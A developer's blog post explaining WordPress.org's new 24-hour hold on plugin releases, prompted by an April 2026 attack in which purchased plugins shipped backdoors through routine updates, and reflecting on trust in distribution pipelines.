Someone bought a plugin to ship malware through its updates. That’s why your commit waits 24 hours now.

Originally published in Japanese on Zenn. On Hashnode, set the canonical in the publish panel: Article Settings, “Are you republishing?”, paste the Zenn URL under “Add Original URL”.

In April 2026, thirty-one WordPress plugins vanished from the official directory in one sweep. Every one of them carried a backdoor. The attackers behind it didn’t break into anything. They bought the plugins, inherited the legitimate commit access that came with them, and shipped malware as a routine update down a channel that hundreds of thousands of sites already trusted.

That single fact is why, two months later, my own plugin commit now waits up to 24 hours before it reaches anyone. I hit the new hold myself, pushing a release to SVN and watching it sit. This is what it’s actually about, and it isn’t slow updates.

The hold, briefly

Since June 5, 2026, WordPress.org holds new plugin and theme releases for up to 24 hours before auto-update carries them to live sites. The directory page and the download zip flip to the new version right away; only the update notification and the auto-update pipeline pause. Manual updates from the dashboard still apply at once. So the directory shows new while every site shows old, for up to a day. Harmless on its own. The reason the checkpoint exists is the point.

What the attack actually exploited

It exploited trust, not a vulnerability. Plugin distribution rested on one assumption: hold the SVN commit access, and you’re trusted, so your commits go straight to every user.

The April attack didn’t pick a lock. It bought the building. The plugins were acquired outright, the commit access transferred legitimately, and roughly 191 lines of backdoor went out folded into a single update dressed as a compatibility patch, sitting dormant for months before acting. The legitimate pipeline was the delivery route the whole time.

Hold that against the assumption. “Whoever has commit access is trusted” survives exactly until commit access belongs to someone who shouldn’t be. And once the access itself changes hands, nothing the original author did matters, because the author was never the layer doing the protecting.

Why the check sits on the distribution side

The response was to stop trusting authors one by one and inspect every release on the way out. On June 5, the formerly opt-in 24-hour delay became the default across all 61,000-plus plugins, under an initiative called Protect The Shire, with the held time spent on moderator and security-scanner review before delivery.

There’s nowhere else the check can go. Ask an author whether their commit is safe and a malicious one says yes; the people behind the bought plugins followed every legitimate step legitimately. While safety depends on the author’s own word, a purchased author passes untouched. The only chokepoint that sees everyone is the one they all exit through. This isn’t presuming authors guilty. It’s that trusting authors stopped guaranteeing anything.

An author who welcomes the suspicion

I write a lot about treating AI-generated code as untrusted external input: suspect the output, sanitize it, verify before use. This change moves that same boundary one step out. The author’s own commit, which used to sit inside the trusted zone, is now untrusted input from where the distributor stands. Not only a model’s output, but a human’s commit, is suspect until it clears review.

I can back that because I’ve distrusted my own work. A self-review of one of my plugins surfaced 35 issues I had written and was about to ship. Code should be doubted before release, mine included. A layer that suspects every author is suspecting me, and that reads as correct rather than as an insult.

The cost, named honestly

Patchstack’s 2026 figures put around half of high-impact WordPress vulnerabilities under active exploitation within 24 hours of disclosure. The shield that blocks a poisoned release before it ships is the same wall that delays a real security patch reaching sites automatically, by the same 24 hours. There’s a path to request faster delivery for urgent fixes, and the published zip can be updated manually during the hold, but the tension is real: the day that protects against a bad release is the day a good fix stays undelivered. I still prefer the world where everyone clears the checkpoint to the one where a bought author ships malware down the trusted pipe.

The takeaway

This isn’t distribution getting slower. It’s the default trust of distribution dropping. “Commit access means trusted” broke the moment access could be bought, so every release now passes a check and my commits stand in the same line. Being distrusted by default isn’t flattering, but for someone who found 35 holes in his own code it’s probably right. The distribution side now reads a human author’s commit the way I’ve learned to read a model’s output: input to verify, not output to trust. That 24 hours is time my users are protected.

References

• WordPress.org announcement (June 5, 2026)

• Make WordPress Plugins: Phased Plugin Releases (August 2025)

• Search Engine Journal: New WordPress Initiative Will Secure Plugins And Themes

I build WordPress plugins and write about web security and plugin development.